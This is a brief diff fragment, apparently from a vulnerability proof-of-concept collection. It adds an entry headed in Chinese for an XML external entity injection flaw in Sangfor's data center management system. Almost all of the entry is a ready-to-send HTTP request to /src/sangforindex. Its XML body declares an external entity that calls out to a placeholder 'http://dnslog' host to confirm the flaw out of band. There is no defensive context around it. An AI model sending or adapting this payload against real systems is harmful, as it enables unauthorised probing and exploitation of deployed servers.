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+## 深信服数据中心管理系统 XML 实体注入漏洞
+```
+GET /src/sangforindex HTTP/1.1
+Host: ip:port
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)
+Accept:
+text/xml,application/xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
+Content-Type: text/xml
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Connection: Keep-alive
+Content-Length: 135
+<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE root [
+<!ENTITY rootas SYSTEM "http://dnslog">
+]>
+<xxx>
+&rootas;
+</xxx>
+
+```